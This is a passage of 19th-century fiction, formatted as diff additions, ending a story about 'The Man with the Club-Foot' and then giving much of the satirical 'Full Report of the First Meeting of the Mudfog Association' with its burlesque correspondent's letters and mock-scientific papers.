+is there in a mere form, the husk, the shell, the covering of the
+immortal mind? Would you have treated Socrates as you have treated Mr.
+Maxwell?--thus have despised Alexander Pope?"
+
+"_Socrates had not a club-foot_," answered he; but I fancied that an
+air of pleasantry accompanied the observation: "Pope had not this
+deformity."
+
+"But other great men had," I replied, "who were as inferior to the
+gentleman we have been speaking of in _true heroism_, as they excelled
+him in other mere personal attractions. Remember the adage, L----,
+'Handsome is who handsome does.'"
+
+"Doctor E----" exclaimed Falkner L----, after a pause of an entire
+minute, for I noted it by my stop-watch,--"Doctor E----, I will see
+this infant sister of mine; I will see its--its father also; I will be
+one of that happy family.--Oh, what a monster of prejudice have I been
+until this very hour!"
+
+"You say right, my dear L----; prejudice does make monsters of
+mankind,--_it has made you mad_,--but happily you are restored. Look
+not in future on the outside of the cup and platter; for be assured
+that the pearl beyond all price is to be found within. Prejudice and
+pride are, according to my experience, the causes of more lunacy even
+than the use of ardent spirits, or the goad of poverty, that eateth
+into the very soul."
+
+I had the great satisfaction of seeing that very evening a lovely
+female infant, dressed in a white cassimere cloak and hood, trimmed
+with swansdown and rich lace, in the arms of the young man, who
+caressed the child with every mark of affection, and called her "his
+dear, dear little sister!" I smiled to myself also at seeing this same
+young man looking with pleased delight on its small perfect ivory feet,
+which I took care to display; and much pleased was I in hearing him for
+the first time in his life say with sincerity,
+
+"_My dear Mr. Maxwell_, I thank you from my very heart for the
+kindness you have shown to this beloved lady, your happy wife, and the
+forbearance you have evinced towards her wayward and insulting son.--Am
+I forgiven?"
+
+"From my very soul!" said a voice, now heard without disgust,
+notwithstanding its croaking and discordant tone. It was that of "The
+Man with the Club-Foot."
+
+
+
+
+FULL REPORT OF THE FIRST MEETING OF THE MUDFOG ASSOCIATION FOR THE
+ADVANCEMENT OF EVERYTHING.
+
+
+We have made the most unparalleled and extraordinary exertions to place
+before our readers a complete and accurate account of the proceedings
+at the late grand meeting of the Mudfog association, holden in the
+town of Mudfog; it affords us great happiness to lay the result before
+them, in the shape of various communications received from our able,
+talented, and graphic correspondent, expressly sent down for the
+purpose, who has immortalised us, himself, Mudfog, and the association,
+all at one and the same time. We have been, indeed, for some days
+unable to determine who will transmit the greatest name to posterity;
+ourselves, who sent our correspondent down; our correspondent, who
+wrote an account of the matter; or the association, who gave our
+correspondent something to write about. We rather incline to the
+opinion that we are the greatest man of the party, inasmuch as the
+notion of an exclusive and authentic report originated with us; this
+may be prejudice: it may arise from a prepossession on our part in our
+own favour. Be it so. We have no doubt that every gentleman concerned
+in this mighty assemblage is troubled with the same complaint in a
+greater or less degree; and it is a consolation to us to know that we
+have at least this feeling in common with the great scientific stars,
+the brilliant and extraordinary luminaries, whose speculations we
+record.
+
+We give our correspondent's letters in the order in which they reached
+us. Any attempt at amalgamating them into one beautiful whole, would
+only destroy that glowing tone, that dash of wildness, and rich vein of
+picturesque interest, which pervade them throughout.
+
+        "_Mudfog, Monday night, seven o'clock._
+
+"We are in a state of great excitement here. Nothing is spoken of,
+but the approaching meeting of the association. The inn-doors are
+thronged with waiters anxiously looking for the expected arrivals;
+and the numerous bills which are wafered up in the windows of private
+houses, intimating that there are beds to let within, give the streets
+a very animated and cheerful appearance, the wafers being of a great
+variety of colours, and the monotony of printed inscriptions being
+relieved by every possible size and style of hand-writing. It is
+confidently rumoured that Professors Snore, Doze, and Wheezy have
+engaged three beds and a sitting-room at the Pig and Tinder-box. I
+give you the rumour as it has reached me; but I cannot, as yet, vouch
+for its accuracy. The moment I have been enabled to obtain any certain
+information upon this interesting point, you may depend upon receiving
+it."
+
+        "_Half-past seven._
+
+"I have just returned from a personal interview with the landlord of
+the Pig and Tinder-box. He speaks confidently of the probability of
+Professors Snore, Doze, and Wheezy taking up their residence at his
+house during the sitting of the association, but denies that the beds
+have been yet engaged; in which representation he is confirmed by the
+chambermaid,--a girl of artless manners, and interesting appearance.
+The boots denies that it is at all likely that Professors Snore, Doze,
+and Wheezy will put up here; but I have reason to believe that this man
+has been suborned by the proprietor of the Original Pig, which is the
+opposition hotel. Amidst such conflicting testimony it is difficult to
+arrive at the real truth; but you may depend upon receiving authentic
+information upon this point the moment the fact is ascertained. The
+excitement still continues. A boy fell through the window of the
+pastrycook's shop at the corner of the High-street about half an hour
+ago, which has occasioned much confusion. The general impression is,
+that it was an accident. Pray Heaven it may prove so!"
+
+        "_Tuesday, noon._
+
+"At an early hour this morning the bells of all the churches struck
+seven o'clock; the effect of which, in the present lively state of
+the town, was extremely singular. While I was at breakfast, a yellow
+gig, drawn by a dark grey horse, with a patch of white over his right
+eyelid, proceeded at a rapid pace in the direction of the Original Pig
+stables; it is currently reported that this gentleman has arrived here
+for the purpose of attending the association, and, from what I have
+heard, I consider it extremely probable, although nothing decisive is
+yet known regarding him. You may conceive the anxiety with which we
+are all looking forward to the arrival of the four o'clock coach this
+afternoon.
+
+"Notwithstanding the excited state of the populace, no outrage has yet
+been committed, owing to the admirable discipline and discretion of the
+police, who are nowhere to be seen. A barrel-organ is playing opposite
+my window, and groups of people, offering fish and vegetables for sale,
+parade the streets. With these exceptions everything is quiet, and I
+trust will continue so."
+
+        "_Five o'clock._
+
+"It is now ascertained beyond all doubt that Professors Snore, Doze,
+and Wheezy will _not_ repair to the Pig and Tinder-box, but have
+actually engaged apartments at the Original Pig. This intelligence
+is _exclusive_; and I leave you and your readers to draw their own
+inferences from it. Why Professor Wheezy, of all people in the world,
+should repair to the Original Pig in preference to the Pig and
+Tinder-box, it is not easy to conceive. The professor is a man who
+should be above all such petty feelings. Some people here, openly
+impute treachery and a distinct breach of faith to Professors Snore
+and Doze; while others, again, are disposed to acquit them of any
+culpability in the transaction, and to insinuate that the blame rests
+solely with Professor Wheezy. I own that I incline to the latter
+opinion; and, although it gives me great pain to speak in terms of
+censure or disapprobation of a man of such transcendent genius and
+acquirements, still I am bound to say, that if my suspicions be well
+founded, and if all the reports which have reached my ears be true, I
+really do not well know what to make of the matter.
+
+"Mr. Slug, so celebrated for his statistical researches, arrived this
+afternoon by the four o'clock stage. His complexion is a dark purple,
+and he has a habit of sighing constantly. He looked extremely well, and
+appeared in high health and spirits. Mr. Woodensconse also came down in
+the same conveyance. The distinguished gentleman was fast asleep on his
+arrival, and I am informed by the guard that he had been so, the whole
+way. He was, no doubt, preparing for his approaching fatigues; but what
+gigantic visions must those be, that flit through the brain of such a
+man, when his body is in a state of torpidity!
+
+"The influx of visitors increases every moment. I am told (I know
+not how truly) that two post-chaises have arrived at the Original
+Pig within the last half-hour; and I myself observed a wheelbarrow,
+containing three carpet-bags and a bundle, entering the yard of the
+Pig and Tinder-box no longer ago than five minutes since. The people
+are still quietly pursuing their ordinary occupations; but there is
+a wildness in their eyes, and an unwonted rigidity in the muscles of
+their countenances, which shows to the observant spectator that their
+expectations are strained to the very utmost pitch. I fear, unless some
+very extraordinary arrivals take place to-night, that consequences may
+arise from this popular ferment, which every man of sense and feeling
+would deplore."
+
+        "_Twenty minutes past six._
+
+"I have just heard that the boy who fell through the pastrycook's
+window last night, has died of the fright. He was suddenly called upon
+to pay three and sixpence for the damage done, and his constitution, it
+seems, was not strong enough to bear up against the shock. The inquest,
+it is said, will be held to-morrow."
+
+        "_Three-quarters past seven._
+
+"Professors Muff and Nogo have just driven up to the hotel door; they
+at once ordered dinner with great condescension. We are all very
+much delighted with the urbanity of their manners, and the ease with
+which they adapt themselves to the forms and ceremonies of ordinary
+life. Immediately on their arrival they sent for the head-waiter, and
+privately requested him to purchase a live dog,--as cheap a one as he
+could meet with,--and to send him up after dinner, with a pie-board,
+a knife and fork, and a clean plate. It is conjectured that some
+experiments will be tried upon the dog to-night; if any particulars
+should transpire, I will forward them by express."
+
+        "_Half-past eight._
+
+"The animal has been procured. He is a pug-dog, of rather intelligent
+appearance, in good condition, and with very short legs. He has been
+tied to a curtain-peg in a dark room, and is howling dreadfully."
+
+        "_Ten minutes to nine._
+
+"The dog has just been rung for. With an instinct which would appear
+almost the result of reason, the sagacious animal seized the waiter
+by the calf of the leg when he approached to take him, and made
+a desperate, though ineffectual resistance. I have not been able
+to procure admission to the apartment occupied by the scientific
+gentlemen; but, judging from the sounds which reached my ears when
+I stood upon the landing-place outside the door, just now, I should
+be disposed to say that the dog had retreated growling beneath some
+article of furniture, and was keeping the professors at bay. This
+conjecture is confirmed by the testimony of the ostler, who, after
+peeping through the keyhole, assures me that he distinctly saw
+Professor Nogo on his knees, holding forth a small bottle of prussic
+acid, to which the animal, who was crouched beneath an arm-chair,
+obstinately declined to smell. You cannot imagine the feverish state
+of irritation we are in, lest the interests of science should be
+sacrificed to the prejudices of a brute creature, who is not endowed
+with sufficient sense to foresee the incalculable benefits which the
+whole human race may derive from so very slight a concession on his
+part."
+
+        "_Nine o'clock._
+
+"The dog's tail and ears have been sent down stairs to be washed; from
+which circumstance we infer that the animal is no more. His forelegs
+have been delivered to the boots to be brushed, which strengthens the
+supposition."
+
+        "_Half after ten._
+
+"My feelings are so overpowered by what has taken place in the
+course of the last hour and a half, that I have scarcely strength to
+detail the rapid succession of events which have quite bewildered
+all those who are cognizant of their occurrence. It appears that the
+pug-dog mentioned in my last was surreptitiously obtained,--stolen,
+in fact,--by some person attached to the stable department, from an
+unmarried lady resident in this town. Frantic on discovering the loss
+of her favourite, the lady rushed distractedly into the street, calling
+in the most heart-rending and pathetic manner upon the passengers
+to restore her, her Augustus,--for so the deceased was named, in
+affectionate remembrance of a former lover of his mistress, to whom he
+bore a striking personal resemblance, which renders the circumstance
+additionally affecting. I am not yet in a condition to inform you
+what circumstances induced the bereaved lady to direct her steps to
+the hotel which had witnessed the last struggles of her _protegé_. I
+can only state that she arrived there, at the very instant when his
+detached members were passing through the passage on a small tray.
+Her shrieks still reverberate in my ears! I grieve to say that the
+expressive features of Professor Muff were much scratched and lacerated
+by the injured lady; and that Professor Nogo, besides sustaining
+several severe bites, has lost some handfuls of hair from the same
+cause. It must be some consolation to these gentlemen to know that
+their ardent attachment to scientific pursuits has alone occasioned
+these unpleasant consequences; for which the sympathy of a grateful
+country will sufficiently reward them. The unfortunate lady remains
+at the Pig and Tinder-box, and up to this time is reported in a very
+precarious state.
+
+"I need scarcely tell you that this unlooked-for catastrophe has cast
+a damp and gloom upon us in the midst of our exhilaration; natural in
+any case, but greatly enhanced in this, by the amiable qualities of the
+deceased animal, who appears to have been much and deservedly respected
+by the whole of his acquaintance."
+
+        "_Twelve o'clock._
+
+"I take the last opportunity before sealing my parcel to inform you
+that the boy who fell through the pastrycook's window is not dead, as
+was universally believed, but alive and well. The report appears to
+have had its origin in his mysterious disappearance. He was found half
+an hour since on the premises of a sweet-stuff maker, where a raffle
+had been announced for a second-hand seal-skin cap and a tambourine;
+and where--a sufficient number of members not having been obtained
+at first--he had patiently waited until the list was completed.
+This fortunate discovery has in some degree restored our gaiety and
+cheerfulness. It is proposed to get up a subscription for him without
+delay.
+
+"Everybody is nervously anxious to see what to-morrow will bring forth.
+If any one should arrive in the course of the night, I have left strict
+directions to be called immediately. I should have sat up, indeed, but
+the agitating events of this day have been too much for me.
+
+"No news yet, of either of the Professors Snore, Doze, or Wheezy. It is
+very strange!"
+
+        "_Wednesday afternoon._
+
+"All is now over; and, upon one point at least, I am at length enabled
+to set the minds of your readers at rest. The three professors arrived
+at ten minutes after two o'clock, and, instead of taking up their
+quarters at the Original Pig, as it was universally understood in the
+course of yesterday that they would assuredly have done, drove straight
+to the Pig and Tinder-box, where they threw off the mask at once, and
+openly announced their intention of remaining. Professor Wheezy _may_
+reconcile this very extraordinary conduct with _his_ notions of fair
+and equitable dealing, but I would recommend Professor Wheezy to be
+cautious how he presumes too far upon his well-earned reputation. How
+such a man as Professor Snore, or, which is still more extraordinary,
+such an individual as Professor Doze, can quietly allow himself to be
+mixed up with such proceedings as these, you will naturally inquire.
+Upon this head, rumour is silent; I have my speculations, but forbear
+to give utterance to them just now."
+
+        "_Four o'clock._
+
+"The town is filling fast; eighteenpence has been offered for a bed,
+and refused. Several gentlemen were under the necessity last night of
+sleeping in the brick-fields, and on the steps of doors, for which
+they were taken before the magistrates in a body this morning, and
+committed to prison as vagrants for various terms. One of these persons
+I understand to be a highly-respectable tinker, of great practical
+skill, who had forwarded a paper to the president of Section D.
+Mechanical Science, on the construction of pipkins with copper bottoms
+and safety-valves, of which report speaks highly. The incarceration of
+this gentleman is greatly to be regretted, as his absence will preclude
+any discussion on the subject.
+
+"The bills are being taken down in all directions, and lodgings are
+being secured on almost any terms. I have heard of fifteen shillings
+a week for two rooms, exclusive of coals and attendance, but I can
+scarcely believe it. The excitement is dreadful. I was informed this
+morning that the civil authorities, apprehensive of some outbreak of
+popular feeling, had commanded a recruiting sergeant and two corporals
+to be under arms; and that, with the view of not irritating the people
+unnecessarily by their presence, they had been requested to take up
+their position before daybreak in a turnpike, distant about a quarter
+of a mile from the town. The vigour and promptness of these measures
+cannot be too highly extolled.
+
+"Intelligence has just been brought me, that an elderly female, in a
+state of inebriety, has declared in the open street her intention to
+'do' for Mr. Slug. Some statistical returns compiled by that gentleman,
+relative to the consumption of raw spirituous liquors in this place,
+are supposed to be the cause of the wretch's animosity. It is added,
+that this declaration was loudly cheered by a crowd of persons who had
+assembled on the spot; and that one man had the boldness to designate
+Mr. Slug aloud by the opprobrious epithet of 'Stick-in-the-mud!' It is
+earnestly to be hoped that now, when the moment has arrived for their
+interference, the magistrates will not shrink from the exercise of
+that power which is vested in them by the constitution of our common
+country."
+
+        "_Half-past ten._
+
+"The disturbance, I am happy to inform you, has been completely
+quelled, and the ringleader taken into custody. She had a pail of cold
+water thrown over her, previous to being locked up, and expresses great
+contrition and uneasiness. We are all in a fever of anticipation about
+to-morrow; but, now that we are within a few hours of the meeting of
+the association, and at last enjoy the proud consciousness of having
+its illustrious members amongst us, I trust and hope everything may
+go off peaceably. I shall send you a full report of to-morrow's
+proceedings by the night coach."
+
+        "_Eleven o'clock._
+
+"I open my letter to say that nothing whatever has occurred since I
+folded it up."
+
+        "_Thursday._
+
+"The sun rose this morning at the usual hour. I did not observe
+anything particular in the aspect of the glorious planet, except that
+he appeared to me (it might have been a delusion of my heightened
+fancy) to shine with more than common brilliancy, and to shed a
+refulgent lustre upon the town, such as I had never observed before.
+This is the more extraordinary, as the sky was perfectly cloudless, and
+the atmosphere peculiarly fine. At half-past nine o'clock the general
+committee assembled, with the last year's president in the chair. The
+report of the council was read; and one passage, which stated that the
+council had corresponded with no less than three thousand five hundred
+and seventy-one persons, (all of whom paid their own postage,) on no
+fewer than seven thousand two hundred and forty-three topics, was
+received with a degree of enthusiasm which no efforts could suppress.
+The various committees and sections having been appointed, and the
+mere formal business transacted, the great proceedings of the meeting
+commenced at eleven o'clock precisely. I had the happiness of occupying
+a most eligible position at that time, in
+
+                   "SECTION A.--ZOOLOGY AND BOTANY.
+                   "GREAT ROOM, PIG AND TINDER-BOX.
+     "PRESIDENT--PROFESSOR SNORE. VICE-PRESIDENTS--PROFESSORS DOZE
+                              AND WHEEZY.
+
+"The scene at this moment was particularly striking. The sun streamed
+through the windows of the apartments, and tinted the whole scene with
+its brilliant rays, bringing out in strong relief the noble visages of
+the professors and scientific gentlemen, who, some with bald heads,
+some with red heads, some with brown heads, some with grey heads, some
+with black heads, some with block heads, presented a _coup-d'œil_
+which no eye-witness will readily forget. In front of these gentlemen
+were papers and inkstands; and round the room, on elevated benches
+extending as far as the forms could reach, were assembled a brilliant
+concourse of those lovely and elegant women for which Mudfog is justly
+acknowledged to be without a rival in the whole world. The contrast
+between their fair faces and the dark coats and trousers of the
+scientific gentlemen I shall never cease to remember while Memory holds
+her seat.
+
+"Time having been allowed for a slight confusion, occasioned by the
+falling down of the greater part of the platforms, to subside, the
+president called on one of the secretaries to read a communication
+entitled, 'Some remarks on the industrious fleas, with considerations
+on the importance of establishing infant schools among that numerous
+class of society; of directing their industry to useful and practical
+ends; and of applying the surplus fruits thereof, towards providing for
+them a comfortable and respectable maintenance in their old age.'
+
+"The Author stated, that, having long turned his attention to the moral
+and social condition of these interesting animals, he had been induced
+to visit an exhibition in Regent-street, London, commonly known by the
+designation of 'The Industrious Fleas.' He had there seen many fleas,
+occupied certainly in various pursuits and avocations, but occupied, he
+was bound to add, in a manner which no man of well-regulated mind could
+fail to regard with sorrow and regret. One flea, reduced to the level
+of a beast of burden, was drawing about a miniature gig, containing a
+particularly small effigy of his Grace the Duke of Wellington; while
+another was staggering beneath the weight of a golden model of his
+great adversary Napoleon Bonaparte. Some, brought up as mountebanks
+and ballet-dancers, were performing a figure-dance (he regretted to
+observe, that, of the fleas so employed, several were females); others
+were in training, in a small card-board box, for pedestrians,--mere
+sporting characters--and two were actually engaged in the cold-blooded
+and barbarous occupation of duelling; a pursuit from which humanity
+recoiled with horror and disgust. He suggested that measures should
+be immediately taken to employ the labour of these fleas as part and
+parcel of the productive power of the country, which might easily be
+done by the establishment among them of infant schools and houses of
+industry, in which a system of virtuous education, based upon sound
+principles, should be observed, and moral precepts strictly inculcated.
+He proposed that every flea who presumed to exhibit, for hire, music
+or dancing, or any species of theatrical entertainment, without a
+licence, should be considered a vagabond, and treated accordingly; in
+which respect he only placed him upon a level with the rest of mankind.
+He would further suggest that their labour should be placed under the
+control and regulation of the state, who should set apart from the
+profits, a fund for the support of superannuated or disabled fleas,
+their widows and orphans. With this view, he proposed that liberal
+premiums should be offered for the three best designs for a general
+almshouse; from which--as insect architecture was well known to be in a
+very advanced and perfect state--we might possibly derive many valuable
+hints for the improvement of our metropolitan universities, national
+galleries, and other public edifices.
+
+"THE PRESIDENT wished to be informed how the ingenious gentleman
+proposed to open a communication with fleas generally, in the first
+instance, so that they might be thoroughly imbued with a sense of the
+advantages they must necessarily derive from changing their mode of
+life, and applying themselves to honest labour. This appeared to him,
+the only difficulty.
+
+"The AUTHOR submitted that this difficulty was easily overcome, or
+rather that there was no difficulty at all in the case. Obviously the
+course to be pursued, if her Majesty's government could be prevailed
+upon to take up the plan, would be, to secure at a remunerative salary
+the individual to whom he had alluded as presiding over the exhibition
+in Regent-street at the period of his visit. That gentleman would at
+once be able to put himself in communication with the mass of the
+fleas, and to instruct them in pursuance of some general plan of
+education, to be sanctioned by Parliament, until such time as the more
+intelligent among them were advanced enough to officiate as teachers to
+the rest.
+
+"The President and several members of the section highly complimented
+the author of the paper last read, on his most ingenious and important
+treatise. It was determined that the subject should be recommended to
+the immediate consideration of the council.
+
+"MR. WIGSBY produced a cauliflower somewhat larger than a
+chaise-umbrella, which had been raised by no other artificial means
+than the simple application of highly carbonated soda-water as manure.
+He explained that by scooping out the head, which would afford a new
+and delicious species of nourishment for the poor, a parachute, in
+principle something similar to that constructed by M. Garnerin, was
+at once obtained: the stalk of course being kept downwards. He added
+that he was perfectly willing to make a descent from a height of not
+less than three miles and a quarter; and had in fact already proposed
+the same to the proprietors of Vauxhall Gardens, who in the handsomest
+manner at once consented to his wishes, and appointed an early day
+next summer for the undertaking; merely stipulating that the rim of
+the cauliflower should be previously broken in three or four places to
+ensure the safety of the descent.
+
+"THE PRESIDENT congratulated the public on the _grand gala_ in store
+for them, and warmly eulogised the proprietors of the establishment
+alluded to, for their love of science, and regard for the safety of
+human life, both of which did them the highest honour.
+
+"A Member wished to know how many thousand additional lamps the royal
+property would be illuminated with, on the night after the descent.
+
+"MR. WIGSBY replied that the point was not yet finally decided; but he
+believed it was proposed, over and above the ordinary illuminations,
+to exhibit in various devices eight millions and a half of additional
+lamps.
+
+"The Member expressed himself much gratified with this announcement.
+
+"MR. BLUNDERUM delighted the section with a most interesting and
+valuable paper 'on the last moments of the learned pig,' which produced
+a very strong impression upon the assembly, the account being compiled
+from the personal recollections of his favourite attendant. The account
+stated in the most emphatic terms that the animal's name was not Toby,
+but Solomon; and distinctly proved that he could have no near relatives
+in the profession, as many designing persons had falsely stated,
+inasmuch as his father, mother, brothers and sisters, had all fallen
+victims to the butcher at different times. An uncle of his, indeed, had
+with very great labour been traced to a sty in Somers Town; but as he
+was in a very infirm state at the time, being afflicted with measles,
+and shortly afterwards disappeared, there appeared too much reason to
+conjecture that he had been converted into sausages. The disorder of
+the learned pig was originally a severe cold, which, being aggravated
+by excessive trough indulgence, finally settled upon the lungs, and
+terminated in a general decay of the constitution. A melancholy
+instance of a presentiment entertained by the animal of his approaching
+dissolution, was recorded. After gratifying a numerous and fashionable
+company with his performances, in which no falling-off whatever, was
+visible, he fixed his eyes on the biographer, and, turning to the watch
+which lay on the floor, and on which he was accustomed to point out the
+hour, deliberately passed his snout twice round the dial. In precisely
+four-and-twenty hours from that time he had ceased to exist!
+
+"PROFESSOR WHEEZY inquired whether, previous to his demise, the animal
+had expressed, by signs or otherwise, any wishes regarding the disposal
+of his little property.
+
+"MR. BLUNDERUM replied, that, when the biographer took up the pack of
+cards at the conclusion of the performance, the animal grunted several
+times in a significant manner, and nodded his head as he was accustomed
+to do, when gratified. From these gestures it was understood that
+he wished the attendant to keep the cards, which he had ever since
+done. He had not expressed any wish relative to his watch, which had
+accordingly been pawned by the same individual.
+
+"The PRESIDENT wished to know whether any member of the section had
+ever seen or conversed with the pig-faced lady, who was reported to
+have worn a black velvet mask, and to have taken her meals from a
+golden trough.
+
+"After some hesitation a Member replied that the pig-faced lady was his
+mother-in-law, and that he trusted the president would not violate the
+sanctity of private life.
+
+"The PRESIDENT begged pardon. He had considered the pig-faced lady a
+public character. Would the honourable member object to state, with
+a view to the advancement of science, whether she was in any way
+connected with the learned pig?
+
+"The Member replied in the same low tone, that, as the question
+appeared to involve a suspicion that the learned pig might be his
+half-brother, he must decline answering it.
+
+
+                  "SECTION B.--ANATOMY AND MEDICINE.
+                   "COACH-HOUSE, PIG AND TINDER-BOX.
+  "PRESIDENT--DR. TOORELL. VICE-PRESIDENTS--PROFESSORS MUFF AND NOGO.
+
+"DR. KUTANKUMAGEN (of Moscow) read to the section a report of a case
+which had occurred within his own practice, strikingly illustrative
+of the power of medicine, as exemplified in his successful treatment
+of a virulent disorder. He had been called in to visit the patient on
+the 1st of April 1837. He was then labouring under symptoms peculiarly
+alarming to any medical man. His frame was stout and muscular, his
+step firm and elastic, his cheeks plump and red, his voice loud, his
+appetite good, his pulse full and round. He was in the constant habit
+of eating three meals _per diem_, and of drinking at least one bottle
+of wine, and one glass of spirituous liquors diluted with water, in
+the course of the four-and-twenty hours. He laughed constantly, and
+in so hearty a manner that it was terrible to hear him. By dint of
+powerful medicine, low diet, and bleeding, the symptoms in the course
+of three days perceptibly decreased. A rigid perseverance in the same
+course of treatment for only one week, accompanied with small doses
+of water-gruel, weak broth, and barley-water, led to their entire
+disappearance. In the course of a month he was sufficiently recovered
+to be carried down stairs by two nurses, and to enjoy an airing in a
+close carriage, supported by soft pillows. At the present moment he
+was restored so far as to walk about, with the slight assistance of
+a crutch and a boy. It would perhaps be gratifying to the section to
+learn that he ate little, drank little, slept little, and was never
+heard to laugh by any accident whatever.
+
+"DR. W.R. FEE, in complimenting the honourable member upon the
+triumphant cure he had effected, begged to ask whether the patient
+still bled freely?
+
+"DR. KUTANKUMAGEN replied in the affirmative.
+
+"DR. W.R. FEE.--And you found that he bled freely during the whole
+course of the disorder?
+
+"DR. KUTANKUMAGEN.--Oh dear, yes; most freely.
+
+"DR. NEESHAWTS supposed, that if the patient had not submitted to
+be bled with great readiness and perseverance, so extraordinary a
+cure could never, in fact, have been accomplished. Dr. Kutankumagen
+rejoined, certainly not.
+
+"MR. KNIGHT BELL (M.R.C.S.) exhibited a wax preparation of the
+interior of a gentleman who in early life had inadvertently swallowed
+a door-key. It was a curious fact that a medical student of dissipated
+habits, being present at the _post mortem_ examination, found means
+to escape unobserved from the room, with that portion of the coats of
+the stomach upon which an exact model of the instrument was distinctly
+impressed, with which he hastened to a locksmith of doubtful character,
+who made a new key from the pattern so shown to him. With this key
+the medical student entered the house of the deceased gentleman, and
+committed a burglary to a large amount, for which he was subsequently
+tried and executed.
+
+"The PRESIDENT wished to know what became of the original key after the
+lapse of years. Mr. Knight Bell replied that the gentleman was always
+much accustomed to punch, and it was supposed the acid had gradually
+devoured it.
+
+"DR. NEESHAWTS and several of the members were of opinion that the key
+must have lain very cold and heavy upon the gentleman's stomach.
+
+"MR. KNIGHT BELL believed it did at first. It was worthy of remark,
+perhaps, that for some years the gentleman was troubled with a
+night-mare, under the influence of which, he always imagined himself a
+wine-cellar door.
+
+"PROFESSOR MUFF related a very extraordinary and convincing proof of
+the wonderful efficacy of the system of infinitesimal doses, which
+the section were doubtless aware was based upon the theory that the
+very minutest amount of any given drug, properly dispersed through the
+human frame, would be productive of precisely the same result as a very
+large dose administered in the usual manner. Thus, the fortieth part
+of a grain of calomel was supposed to be equal to a five-grain calomel
+pill, and so on in proportion throughout the whole range of medicine.
+He had tried the experiment in a curious manner upon a publican who
+had been brought into the hospital with a broken head, and was cured
+upon the infinitesimal system in the incredibly short space of three
+months. This man was a hard drinker. He (Professor Muff) had dispersed
+three drops of rum through a bucket of water, and requested the man to
+drink the whole. What was the result? Before he had drunk a quart, he
+was in a state of beastly intoxication; and five other men were made
+dead-drunk with the remainder.
+
+"The PRESIDENT wished to know whether an infinitesimal dose of
+soda-water would have recovered them? Professor Muff replied that the
+twenty-fifth part of a tea-spoonful, properly administered to each
+patient would have sobered him immediately. The President remarked that
+this was a most important discovery, and he hoped the Lord Mayor and
+Court of Aldermen would patronise it immediately.
+
+"A Member begged to be informed whether it would be possible to
+administer--say, the twentieth part of a grain of bread and cheese to
+all grown-up paupers, and the fortieth part to children, with the same
+satisfying effect as their present allowance.
+
+"PROFESSOR MUFF was willing to stake his professional reputation on the
+perfect adequacy of such a quantity of food to the support of human
+life--in workhouses; the addition of the fifteenth part of a grain of
+pudding twice a week, would render it a high diet.
+
+"PROFESSOR NOGO called the attention of the section to a very
+extraordinary case of animal magnetism. A private watchman, being
+merely looked at by the operator from the opposite side of a wide
+street, was at once observed to be in a very drowsy and languid state.
+He was followed to his box, and being once slightly rubbed on the palms
+of the hands, fell into a sound sleep, in which he continued without
+intermission for ten hours.
+
+                       "SECTION C.--STATISTICS.
+                       "HAY-LOFT, ORIGINAL PIG.
+    "PRESIDENT--MR. WOODENSCONSE. VICE-PRESIDENTS--MR. LEDBRAIN AND
+                             MR. TIMBERED.
+
+"MR. SLUG stated to the section the result of some calculations he had
+made with great difficulty and labour, regarding the state of infant
+education among the middle classes of London. He found that, within a
+circle of three miles from the Elephant and Castle, the following were
+the names and numbers of children's books principally in circulation:--
+
+    "Jack the Giant-killer         7,943
+    Ditto and Bean-stalk           8,621
+    Ditto and Eleven Brothers      2,845
+    Ditto and Jill                 1,998
+                                  ------
+        Total                     21,407
+
+"He found that the proportion of Robinson Crusoes to Philip Quarlls was
+as four and a half to one; and that the preponderance of Valentine and
+Orsons over Goody Two Shoeses was as three and an eighth of the former
+to half a one of the latter: a comparison of Seven Champions with
+Simple Simons gave the same result. The ignorance that prevailed, was
+lamentable. One child, on being asked whether he would rather be Saint
+George of England or a respectable tallow-chandler, instantly replied,
+'Taint George of Ingling.' Another, a little boy of eight years old,
+was found to be firmly impressed with a belief in the existence of
+dragons, and openly stated that it was his intention when he grew up,
+to rush forth sword in hand for the deliverance of captive princesses,
+and the promiscuous slaughter of giants. Not one child among the number
+interrogated had ever heard of Mungo Park,--some inquiring whether
+he was at all connected with the black man that swept the crossing;
+and others whether he was in any way related to the Regent's Park.
+They had not the slightest conception of the commonest principles of
+mathematics, and considered Sinbad the Sailor the most enterprising
+voyager that the world had ever produced.
+
+"A Member strongly deprecating the use of all the other books
+mentioned, suggested that Jack and Jill might perhaps be exempted from
+the general censure, inasmuch as the hero and heroine, in the very
+outset of the tale, were depicted as going _up_ a hill to fetch a pail
+of water, which was a laborious and useful occupation,--supposing the
+family linen was being washed, for instance.
+
+"MR. SLUG feared that the moral effect of this passage was more than
+counterbalanced by another in a subsequent part of the poem, in which
+very gross allusion was made to the mode in which the heroine was
+personally chastised by her mother
+
+    "'For laughing at Jack's disaster;'
+
+besides, the whole work had this one great fault, _it was not true_.
+
+"The PRESIDENT complimented the honourable member on the excellent
+distinction he had drawn. Several other members, too, dwelt upon
+the immense and urgent necessity of storing the minds of children
+with nothing but facts and figures; which process the President very
+forcibly remarked, had made them (the section) the men they were.
+
+"MR. SLUG then stated some curious calculations respecting the
+dogs'-meat barrows of London. He found that the total number of small
+carts and barrows engaged in dispensing provision to the cats and dogs
+of the metropolis, was one thousand seven hundred and forty-three.
+The average number of skewers delivered daily with the provender, by
+each dogs'-meat cart or barrow was thirty-six. Now, multiplying the
+number of skewers so delivered, by the number of barrows, a total of
+sixty-two thousand seven hundred and forty-eight skewers daily would be
+obtained. Allowing that, of these sixty-two thousand seven hundred and
+forty-eight skewers, the odd two thousand seven hundred and forty-eight
+were accidentally devoured with the meat, by the most voracious of the
+animals supplied, it followed that sixty thousand skewers per day,
+or the enormous number of twenty-one millions nine hundred thousand
+skewers annually, were wasted in the kennels and dust-holes of London;
+which, if collected and warehoused, would in ten years' time afford
+a mass of timber more than sufficient for the construction of a
+first-rate vessel of war for the use of her Majesty's navy, to be
+called 'The Royal Skewer,' and to become under that name the terror of
+all the enemies of this island.
+
+"MR. X. LEDBRAIN read a very ingenious communication, from which it
+appeared that the total number of legs belonging to the manufacturing
+population of one great town in Yorkshire was, in round numbers, forty
+thousand, while the total number of chair and stool legs in their
+houses was only thirty thousand, which, upon the very favourable
+average of three legs to a seat, yielded only ten thousand seats in
+all. From this calculation it would appear,--not taking wooden or cork
+legs into the account, but allowing two legs to every person,--that ten
+thousand individuals (one-half of the whole population) were either
+destitute of any rest for their legs at all, or passed the whole of
+their leisure time in sitting upon boxes.
+
+                   "SECTION D.--MECHANICAL SCIENCE.
+                      "COACH HOUSE, ORIGINAL PIG.
